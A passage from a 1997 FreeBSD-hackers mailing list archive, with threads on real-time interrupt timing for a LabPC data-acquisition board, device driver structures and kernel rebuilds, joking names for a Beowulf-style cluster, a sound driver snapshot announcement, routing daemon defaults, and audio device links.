id XAA01774 for ; Mon, 6 Oct 1997 23:39:56 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA02967; Mon, 6 Oct 1997 23:39:18 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA02792; Mon, 6 Oct 1997 23:39:17 -0700 (PDT) Date: Mon, 6 Oct 1997 23:39:17 -0700 (PDT) From: mdean To: Peter Dufault cc: hackers@freebsd.org Subject: Re: A world of unexplored pain. In-Reply-To: <199710061908.PAA12422@hda.hda.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk By the way for those of you who might be wondering: Take a look at http://www.rtmx.com, from what a gather this is an excellent product, unfortunately it comes at a price: $3995, a bit too pricey for me. Those are just posix.1b extensions and tuning on the openbsd tree, and the developer I talked to said that there is good chance they may release them publicly in the near furture because of some kind of contract arangement I didn't quite understand. > > > > me to use some dedicated controller board) if that was all I wanted... > > I did something like this in 386bsd days for a combustion experiment. > > on the A-D board to watch for lost ticks by setting it for something > like (N + fudge) times the tick interval and verifying it wasn't > pending when I got to the control. So are you saying you were running at an interrupt frequency of 10000 Hz (gee wiz ma I only want 1000hz)? So what did you see in the way of lost tick statistics? > We could telnet into the box, display status in a remote xterm, > etc, without screwing things up. It was a hack but worked well. One word: BadASS! Many people would have me believe this can't be done adequately with freebsd. You wrote labpc.c (I've been using it as a reference, I have one of those boards I want to connect the stepper motor drivers to.) excellent piece of code, there are a lot of features of the labpc I've never even ventured into. I particularily like its ability to post an interrupt on completion of forming an AtoD value. Unfortunately that doesn't work right once youv'e connected it to an external multiplexer system, because there is no good way to tell that the Analog Value has stabilised, you just need to _WAIT_ a prescribed amount of time. This is precisely why I wan't to put scans inside a 1000hz interrupt routine. > Things have grown a lot since then. Grown to what? From owner-freebsd-hackers Mon Oct 6 23:51:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA02677 for hackers-outgoing; Mon, 6 Oct 1997 23:51:36 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy3.ba.best.com (root@proxy3.ba.best.com [206.184.139.14]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA02670 for ; Mon, 6 Oct 1997 23:51:33 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy3.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA18567 for ; Mon, 6 Oct 1997 23:49:56 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA05955 for ; Mon, 6 Oct 1997 23:49:55 -0700 (PDT) Date: Mon, 6 Oct 1997 23:49:55 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Device Drivers Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I *Have* been reading some of the code and was wondering if someone could give me a brief explanation of what the following functions are for in struct cdevsw (this info is not in conf.h and I am new to this) d_stop d_reset d_devtotty d_strategy (I've seen this one in another unix book, I just can't remeber what it is actually used for) and why does d_maj=-1 in the driver when I would think you need to set it to the major of your device. From owner-freebsd-hackers Mon Oct 6 23:57:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id XAA03120 for hackers-outgoing; Mon, 6 Oct 1997 23:57:50 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from proxy4.ba.best.com (root@proxy4.ba.best.com [206.184.139.15]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id XAA03108 for ; Mon, 6 Oct 1997 23:57:45 -0700 (PDT) (envelope-from mdean@shellx.best.com) Received: from shellx.best.com (shellx.best.com [206.86.0.11]) by proxy4.ba.best.com (8.8.7/8.8.BEST) with ESMTP id XAA28691 for ; Mon, 6 Oct 1997 23:57:33 -0700 (PDT) Received: from localhost (mdean@localhost) by shellx.best.com (8.8.6/8.8.3) with SMTP id XAA08569 for ; Mon, 6 Oct 1997 23:57:33 -0700 (PDT) Date: Mon, 6 Oct 1997 23:57:33 -0700 (PDT) From: mdean To: freebsd-hackers@freebsd.org Subject: Driver Development Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk If I am changing a driver alot and want to quickly throw together a kernel is it safe (in terms of dependencies) to change the .c file in source tree then rerun make without doing a config first (assuming I haven't changed the config file)? From owner-freebsd-hackers Tue Oct 7 00:13:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA04304 for hackers-outgoing; Tue, 7 Oct 1997 00:13:44 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from usr05.primenet.com (tlambert@usr05.primenet.com [206.165.6.205]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id AAA04296 for ; Tue, 7 Oct 1997 00:13:41 -0700 (PDT) (envelope-from tlambert@usr05.primenet.com) Received: (from tlambert@localhost) by usr05.primenet.com (8.8.5/8.8.5) id AAA19251; Tue, 7 Oct 1997 00:13:38 -0700 (MST) From: Terry Lambert Message-Id: <199710070713.AAA19251@usr05.primenet.com> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: jbryant@tfs.net Date: Tue, 7 Oct 1997 07:13:38 +0000 (GMT) Cc: tlambert@primenet.com, freebsd-hackers@freebsd.org In-Reply-To: <199710070426.XAA00475@argus.tfs.net> from "Jim Bryant" at Oct 6, 97 11:26:56 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > Legions of Sprights, the which, like litle flyes > > Sprite/Sprights/etc... indicates something small... this is big... Well, sure, but what if you get a legion of them together... 8-). Also, there are already "Demonic" references, like FAUST/FAUSTUS, etc., and they fall into similar research areas. > I was being serious about HyperPool... Serious literature will love > the name, and it sounds KEWL to the neophyte. The name matches the > concept, and would also get serious literature talking about it. > > It is also in true Berkeley tradition. But what do you do for an encore to "Hyper"? "W" had "X"... There is already a UCB OS project called "Sprite", FYI. > Leave the pet names for Linux, but BSD should demand RESPECT! I have visions of "Who HyperPeed in the HyperPool?". But then what do you expect from someone who memorizes dead English poets. I guess "Xanadu" is already taken by something which has never become reality, so Samuel Taylor Coleridge would be a bad choice, too ("Albatros" is also taken). Maybe mythology? "Cerebus" or "Hecate"; but then you'd have to max out at three nodes. 8-). How about "Fury", after the "Furies"? Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Tue Oct 7 00:51:25 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id AAA06784 for hackers-outgoing; Tue, 7 Oct 1997 00:51:25 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id AAA06764 for ; Tue, 7 Oct 1997 00:51:21 -0700 (PDT) (envelope-from j@uriah.heep.sax.de) Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id JAA08443 for hackers@FreeBSD.ORG; Tue, 7 Oct 1997 09:51:20 +0200 Received: (from j@localhost) by uriah.heep.sax.de (8.8.7/8.8.5) id JAA10181; Tue, 7 Oct 1997 09:49:12 +0200 (MET DST) Message-ID: <19971007094912.XH08408@uriah.heep.sax.de> Date: Tue, 7 Oct 1997 09:49:12 +0200 From: j@uriah.heep.sax.de (J Wunsch) To: hackers@FreeBSD.ORG Subject: Re: gateway problems References: <9710071712.aa08740@melsvr.mpa.oz.au> X-Mailer: Mutt 0.60_p2-3,5,8-9 Mime-Version: 1.0 X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <9710071712.aa08740@melsvr.mpa.oz.au>; from andrewb@mpa.oz.au on Oct 7, 1997 16:09:41 +0000 Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk As andrewb@mpa.oz.au wrote: > I'm currently trying to configure a 2.2.2 as a gateway box for win95 > pc's. [moved to -questions] -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-hackers Tue Oct 7 01:29:57 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA08978 for hackers-outgoing; Tue, 7 Oct 1997 01:29:57 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zwei.siemens.at (zwei.siemens.at [193.81.246.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA08743; Tue, 7 Oct 1997 01:24:19 -0700 (PDT) (envelope-from lada@ws6303.gud.siemens.at) Received: from ws6303-f (root@firix [10.1.143.100]) by zwei.siemens.at with ESMTP id KAA05285; Tue, 7 Oct 1997 10:19:12 +0200 (MET DST) Received: from ws6423.gud.siemens.at (ws6423-f) by ws6303-f with ESMTP (1.40.112.8/16.2) id AA209842319; Tue, 7 Oct 1997 10:18:40 +0200 Received: by ws6423.gud.siemens.at (SMI-8.6/SMI-SVR4) id KAA21886; Tue, 7 Oct 1997 10:17:32 +0200 Date: Tue, 7 Oct 1997 10:17:32 +0200 From: lada@ws6303.gud.siemens.at (marino.ladavac@siemens.at) Message-Id: <199710070817.KAA21886@ws6423.gud.siemens.at> To: tlambert@primenet.com, adrian@virginia.edu Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD Cc: rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: fDp386tOHmAZwmLEp8+zDA== Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From owner-freebsd-smp@FreeBSD.ORG Mon Oct 6 22:43:43 MET 1997 > Date: Mon, 6 Oct 1997 16:29:38 -0400 (EDT) > From: "Adrian T. Filipi-Martin" > To: Terry Lambert > Cc: "Ron G. Minnich" , dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG > Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD > Mime-Version: 1.0 > X-Loop: FreeBSD.org > > On Mon, 6 Oct 1997, Terry Lambert wrote: > > > > A cluster based on FreeBSD would > > > I suppose have to have a different name, but we've done a lot of computing > > > over the last three years with such a cluster: works fine. > > > > I vote for "Legion", because of the obvious tip of the hat to Chuck... > > You don't mean "Legion" as in http://www.cs.virginia.edu/~legion/ > do you? These folks while open to newer and better hardware, they also > seem to have become stuck on linux because it's what they could in stall > on their desktops with IDE cdroms a long time ago. I tried to steer them > into the light, but.... > > The name is derivative from the Herbert's "Dune" books. It's > predecessor was "Mentat". How about "The Swarm" then? It would have already been built had I not bought myself a place to live instead. It had sort of a priority over toys :( /Marino > > Adrian > -- > adrian@virginia.edu ---->>>>| If I were stranded on a desert island, and > System Administrator --->>>| I could only have one OS for my computer, > Neurosurgical Visualzation Lab -->>| it would be FreeBSD. Think about it..... > http://www.nvl.virginia.edu/ ->| http://www.freebsd.org/ > > From owner-freebsd-hackers Tue Oct 7 01:46:58 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA09947 for hackers-outgoing; Tue, 7 Oct 1997 01:46:58 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from time.cdrom.com (time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA09727; Tue, 7 Oct 1997 01:43:45 -0700 (PDT) (envelope-from jkh@time.cdrom.com) Received: from time.cdrom.com (localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.7/8.6.9) with ESMTP id BAA05379; Tue, 7 Oct 1997 01:42:28 -0700 (PDT) To: lada@ws6303.gud.siemens.at (marino.ladavac@siemens.at) cc: tlambert@primenet.com, adrian@virginia.edu, rminnich@sarnoff.com, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-smp@FreeBSD.ORG Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD In-reply-to: Your message of "Tue, 07 Oct 1997 10:17:32 +0200." <199710070817.KAA21886@ws6423.gud.siemens.at> Date: Tue, 07 Oct 1997 01:42:27 -0700 Message-ID: <5361.876213747@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > How about "The Swarm" then? It would have already been built had I not > bought myself a place to live instead. It had sort of a priority over > toys :( Hmmm. Swarm. That makes me think of locusts, those industrious little insects which often move from place to place in great numbers, eating and overcoming all in their path. It's a nice analogy for what we'd like to do, actually, and I believe it's referred to as a "plague of locusts" in that context, so if we wanted to draw some nifty insect analogies for massive distributed parallelism then I guess we could call such a cluster a "FreeBSD plague", or "a plague of FreeBSD machines." This would lead in turn to some pretty nifty sound bites, such as "Got plague?" or "The FreeBSD plague: Catch it today!" Yeah, I like it! It's got legs, gents! Let's do it!! Let's... What? I should stick to engineering, you say? But it's so *catchy*, I mean, haha, consider just the pun opportunities! No? Well fine, be that way then! [*sulk*] Jordan From owner-freebsd-hackers Tue Oct 7 01:54:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id BAA10259 for hackers-outgoing; Tue, 7 Oct 1997 01:54:02 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from zwei.siemens.at (zwei.siemens.at [193.81.246.12]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id BAA10223 for ; Tue, 7 Oct 1997 01:52:48 -0700 (PDT) (envelope-from lada@ws6303.gud.siemens.at) Received: from ws6303-f (root@firix [10.1.143.100]) by zwei.siemens.at with ESMTP id KAA07009; Tue, 7 Oct 1997 10:47:49 +0200 (MET DST) Received: from ws6423.gud.siemens.at (ws6423-f) by ws6303-f with ESMTP (1.40.112.8/16.2) id AA212384037; Tue, 7 Oct 1997 10:47:18 +0200 Received: by ws6423.gud.siemens.at (SMI-8.6/SMI-SVR4) id KAA24208; Tue, 7 Oct 1997 10:46:10 +0200 Date: Tue, 7 Oct 1997 10:46:10 +0200 From: lada@ws6303.gud.siemens.at (marino.ladavac@siemens.at) Message-Id: <199710070846.KAA24208@ws6423.gud.siemens.at> To: tlambert@primenet.com, stox@enteract.com Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD Cc: freebsd-hackers@FreeBSD.ORG Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Md5: xG/MNrgRmviy8nakqvj3Zg== Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > From owner-freebsd-hackers@FreeBSD.ORG Tue Oct 7 06:28:00 MET 1997 > Date: Mon, 6 Oct 1997 22:50:37 -0500 (CDT) > From: "Kenneth P. Stox" > To: Terry Lambert > Cc: freebsd-hackers@FreeBSD.ORG > Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD > Mime-Version: 1.0 > X-Loop: FreeBSD.org > > > On Tue, 7 Oct 1997, Terry Lambert wrote: > > >Unfortunately, if you are looking for a cool name, you are going to be > >reusing one. The latest incarnation appears to be "Javelin", a loosely > >coupled, massively parallel JVM type thing. > > > > I used to drive a Javelin, somehow that name does not fill me with great > confidence in performance. Wait a minute, "loosely coupled, massive," > hey that does work. ;-> Hey, I used to drive one of these too, but I booted to an Olds 455 instead of a preinstalled cca. 200 Six. Just don't ask me where the radiator and the battery went nor how many gallons per mile it managed :) It _did_ rock, though.[1] /Marino (showing his age again:) [1] It was a '68 model. Can you believe, it was considered to be a smallish car at the time > > From owner-freebsd-hackers Tue Oct 7 02:17:33 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA11485 for hackers-outgoing; Tue, 7 Oct 1997 02:17:33 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from sendero-ppp.i-connect.net (sendero-ppp.i-Connect.Net [206.190.143.100]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id CAA11478 for ; Tue, 7 Oct 1997 02:17:27 -0700 (PDT) (envelope-from shimon@sendero-ppp.i-connect.net) Received: (qmail 27118 invoked by uid 1000); 7 Oct 1997 09:17:52 -0000 Message-ID: X-Mailer: XFMail 1.2-alpha-100597 [p0] on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: Date: Tue, 07 Oct 1997 02:17:52 -0700 (PDT) Organization: Atlas Telecom From: Simon Shapiro To: stox@enteract.com Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBS Cc: freebsd-hackers@FreeBSD.ORG, Terry Lambert Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi "Kenneth P. Stox"; On 07-Oct-97 you wrote: > > On Tue, 7 Oct 1997, Terry Lambert wrote: While working on the nCUBE project, we used SISFAP. It is not registered, has a very fitting meaning. I'll let you guess at this one :-) --- Sincerely Yours, Simon Shapiro Atlas Telecom Senior Architect 14355 SW Allen Blvd., Suite 130 Beaverton OR 97005 Shimon@i-Connect.Net Voice: 503.799.2313 From owner-freebsd-hackers Tue Oct 7 02:22:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA11928 for hackers-outgoing; Tue, 7 Oct 1997 02:22:42 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA11915 for ; Tue, 7 Oct 1997 02:22:37 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id SAA27244; Tue, 7 Oct 1997 18:52:28 +0930 (CST) Message-ID: <19971007185228.10677@lemis.com> Date: Tue, 7 Oct 1997 18:52:28 +0930 From: Greg Lehey To: mdean Cc: freebsd-hackers@FreeBSD.ORG Subject: Re: Driver Development References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.84e In-Reply-To: ; from mdean on Mon, Oct 06, 1997 at 11:57:33PM -0700 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, Oct 06, 1997 at 11:57:33PM -0700, mdean wrote: > > If I am changing a driver alot and want to quickly throw together a kernel > is it safe (in terms of dependencies) to change the .c file in source tree > then rerun make without doing a config first (assuming I haven't changed > the config file)? It *should* be. But then, it *should* be possible to do this all the time, without a 'make clean'. I'd guess that in your case it will work fine, especially if you've done a 'make depend' first. You should definitely check that it really is recompiling your driver sources. Greg From owner-freebsd-hackers Tue Oct 7 02:23:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA12013 for hackers-outgoing; Tue, 7 Oct 1997 02:23:51 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from hda.hda.com (hda-bicnet.bicnet.net [208.220.66.37]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA12008 for ; Tue, 7 Oct 1997 02:23:47 -0700 (PDT) (envelope-from dufault@hda.hda.com) Received: (from dufault@localhost) by hda.hda.com (8.8.5/8.8.5) id EAA14531; Tue, 7 Oct 1997 04:35:00 -0400 (EDT) From: Peter Dufault Message-Id: <199710070835.EAA14531@hda.hda.com> Subject: Re: A world of unexplored pain. In-Reply-To: from mdean at "Oct 6, 97 11:39:17 pm" To: mdean@best.com (mdean) Date: Tue, 7 Oct 1997 04:34:59 -0400 (EDT) Cc: dufault@hda.com, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL25 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > > on the A-D board to watch for lost ticks by setting it for something > > like (N + fudge) times the tick interval and verifying it wasn't > > pending when I got to the control. > > So are you saying you were running at an interrupt frequency of 10000 Hz > (gee wiz ma I only want 1000hz)? So what did you see in the way of lost > tick statistics? I did say that (100 time 100 Hz), but I lied. A check of the code shows #defines of 4, 8, and 32, and the last enabled one was 8. Sorry. I wasn't DOING much - an ordered delta timer list to when to toggle a bit, so decrement a counter, see if it was zero, and toggle a bit if it was. (...) > Many people would have me believe this can't be done adequately with > freebsd. You wrote labpc.c (I've been using it as a reference, I have one > of those boards I want to connect the stepper motor drivers to.) excellent > piece of code, there are a lot of features of the labpc I've never even > ventured into. I particularily like its ability to post an interrupt on > completion of forming an AtoD value. Unfortunately that doesn't work right > once youv'e connected it to an external multiplexer system, because there > is no good way to tell that the Analog Value has stabilised, you just need > to _WAIT_ a prescribed amount of time. This is precisely why I wan't to put > scans inside a 1000hz interrupt routine. What are you using for an external multiplexer? If you're using the National SCXI stuff that uses a serial bus on the SCXI backplane to setup channel lists, then I have some user land code to set that up. The SCXI bus controller (in the SCXI backplane) has scanning hardware on it to multiplex the external signals back to the system A-D board and provide the trigger for that A-D board to do the conversion. They must provide for a settling time after switching. Have you looked to see if that does what you want? A mux settling time is going to be extremely short compared to a software clock tick. > > Things have grown a lot since then. > > Grown to what? I meant FreeBSD has grown a lot and there are more places to look for problems. I wish I'd meant that the aproach had grown. -- Peter Dufault (dufault@hda.com) Realtime development, Machine control, HD Associates, Inc. Safety critical systems, Agency approval From owner-freebsd-hackers Tue Oct 7 02:25:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA12168 for hackers-outgoing; Tue, 7 Oct 1997 02:25:12 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from labinfo.iet.unipi.it (labinfo.iet.unipi.it [131.114.9.5]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id CAA11304; Tue, 7 Oct 1997 02:13:48 -0700 (PDT) (envelope-from luigi@labinfo.iet.unipi.it) Received: from localhost (luigi@localhost) by labinfo.iet.unipi.it (8.6.5/8.6.5) id IAA07727; Tue, 7 Oct 1997 08:54:38 +0100 From: Luigi Rizzo Message-Id: <199710070754.IAA07727@labinfo.iet.unipi.it> Subject: snd971007.tgz To: multimedia@freebsd.org Date: Tue, 7 Oct 1997 08:54:37 +0100 (MET) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk [crossposted to -stable and hackers since people might be interested there as well -- sorry for the duplicates... reply go to multimedia only] New snap of the sound code at the following URL: http://www.iet.unipi.it/~luigi/snd971007.tgz http://www.iet.unipi.it/~luigi/pnp970924.tgz this implements AUTO-DMA mode, has been tested for several days on a 2.2.1 system. It seems to work quite well in full duplex with Crystal CS423x, Opti931 and even with the SB16 (and clones of WSS and SB16). It works in half duplex with the SBPro, although with some limitations. Compared to previous snapshots, this code does not suffer from the problems (clicks and deadlocks) which affected the previous driver with certain boards. I have added some code so that -current users can use the code by simply uncommenting a #define USE_POLL in file sound.h If there is sufficient positive feedback it might be possible to put this into 2.2.5 so please guy test this code. The code is still a bit verbose but this is done to ease debugging. If you have problems please supply, in plain ascii, the following data: - OS version; - card type (the more detail, the better it is) - dmesg output if relevant; - pnpinfo output if you have a PnP card. Thanks for your help. Luigi -----------------------------+-------------------------------------- Luigi Rizzo | Dip. di Ingegneria dell'Informazione email: luigi@iet.unipi.it | Universita' di Pisa tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ _____________________________|______________________________________ From owner-freebsd-hackers Tue Oct 7 02:31:44 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id CAA12563 for hackers-outgoing; Tue, 7 Oct 1997 02:31:44 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from freebie.lemis.com (gregl1.lnk.telstra.net [139.130.136.133]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id CAA12558 for ; Tue, 7 Oct 1997 02:31:41 -0700 (PDT) (envelope-from grog@freebie.lemis.com) Received: (from grog@localhost) by freebie.lemis.com (8.8.7/8.8.5) id TAA27296; Tue, 7 Oct 1997 19:01:17 +0930 (CST) Message-ID: <19971007190117.27808@lemis.com> Date: Tue, 7 Oct 1997 19:01:17 +0930 From: Greg Lehey To: Joerg Wunsch Cc: andrewb@mpa.oz.au, FreeBSD Hackers Subject: Re: gateway problems References: <9710071712.aa08740@melsvr.mpa.oz.au> <19971007094857.OF42563@uriah.heep.sax.de> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Mailer: Mutt 0.84e In-Reply-To: <19971007094857.OF42563@uriah.heep.sax.de>; from J Wunsch on Tue, Oct 07, 1997 at 09:48:57AM +0200 Organisation: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8250 Fax: +61-8-8388-8250 Mobile: +61-41-739-7062 WWW-Home-Page: http://www.lemis.com/~grog Fight-Spam-Now: http://www.cauce.org Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, Oct 07, 1997 at 09:48:57AM +0200, J Wunsch wrote: > (Moved to -questions) (moved this part back to -hackers :-) > As andrewb@mpa.oz.au wrote: > >> I also am using routed, although Im not sure of the difference b/w >> that and gated, and when either should be used. > > Rule #1: If you don't know what they are for, you don't need them. > I've always suggested that it were a better default to shut them off, > so only people who know what they are for enable them. I've been put > down on this, alas. I agree entirely (see, Jörg, I don't always disagree with you :-) Why do we have this enabled as default? 95% of FreeBSD users (including, I suspect, a large number on -hackers) neither need nor understand routing protocols. Since they frequently try to add static routes, the results can be confusing, to put it mildly. Greg From owner-freebsd-hackers Tue Oct 7 03:34:24 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA15871 for hackers-outgoing; Tue, 7 Oct 1997 03:34:24 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from xioa.cosmic.org (jwb@xioa.cosmic.org [206.151.181.200]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA15862 for ; Tue, 7 Oct 1997 03:34:19 -0700 (PDT) (envelope-from jwb@xioa.cosmic.org) Received: (from jwb@localhost) by xioa.cosmic.org (8.8.7/8.8.5) id GAA00886; Tue, 7 Oct 1997 06:30:39 -0400 (EDT) From: Joe Beiter Message-Id: <199710071030.GAA00886@xioa.cosmic.org> Subject: Re: PnP naivety In-Reply-To: <199710070308.EAA07182@labinfo.iet.unipi.it> from Luigi Rizzo at "Oct 7, 97 04:08:34 am" To: luigi@labinfo.iet.unipi.it (Luigi Rizzo) Date: Tue, 7 Oct 1997 06:30:36 -0400 (EDT) Cc: hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL31H (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk That was it! Thanks Luigi. Sorry, I had no idea dsp and dspW were associated with the audio system. au -aa simply allows any host to attach to the audio server. - JoeB Luigi Rizzo said and I quote: ]> I loaded Luigi's PnP and snd drivers and I now am able to cat au files out ]> /dev/audio1 and sound does work.. however when I run au -aa or try to run ]> raplayer they claim they can't open the device.. ]> ]> au -aa: ]> Fatal server error: ]> could not create audio connection block info ] ]what is aa ? ] ]> raplayer just claims it cannot open the sound device. I did recreate the ]> link from /dev/audio to /dev/audio1 ]> ]> lrwxrwxrwx 1 root wheel 11 Oct 1 21:44 /dev/audio -> /dev/audio1 ]> ]> and even tried just creating /dev/audio with mknod using the maj and minor ]> numbers of /dev/audio1. ]> ]> Does anyone know what I am missing in this equation? ] ]not sure, but probably you also need to create links for /dev/dsp, ]/dev/dspW and /dev/mixer ] ] Cheers ] Luigi ] :---==@==---==@==---==@==---: Joseph Beiter Hacking's just another word for nothing jwb@cosmic.org left to kludge. From owner-freebsd-hackers Tue Oct 7 04:05:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id EAA17262 for hackers-outgoing; Tue, 7 Oct 1997 04:05:48 -0700 (PDT) (envelope-from owner-freebsd-hackers) Received: from mother.sneaker.net.au (akm@mother.sneaker.net.au [203.30.3.2]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id EAA17124; Tue, 7 Oct 1997 04:02:57 -0700 (PDT) (envelope-from akm@mother.sneaker.net.au) Received: (from akm@localhost) by mother.sneaker.net.au (8.8.5/8.8.5) id UAA13876; Tue, 7 Oct 1997 20:56:21 GMT From: Andrew Kenneth Milton Message-Id: <199710072056.UAA13876@mother.sneaker.net.au> Subject: Re: Building parallel "Beowulf-style" supercomputers with FreeBSD To: jkh@time.cdrom.com 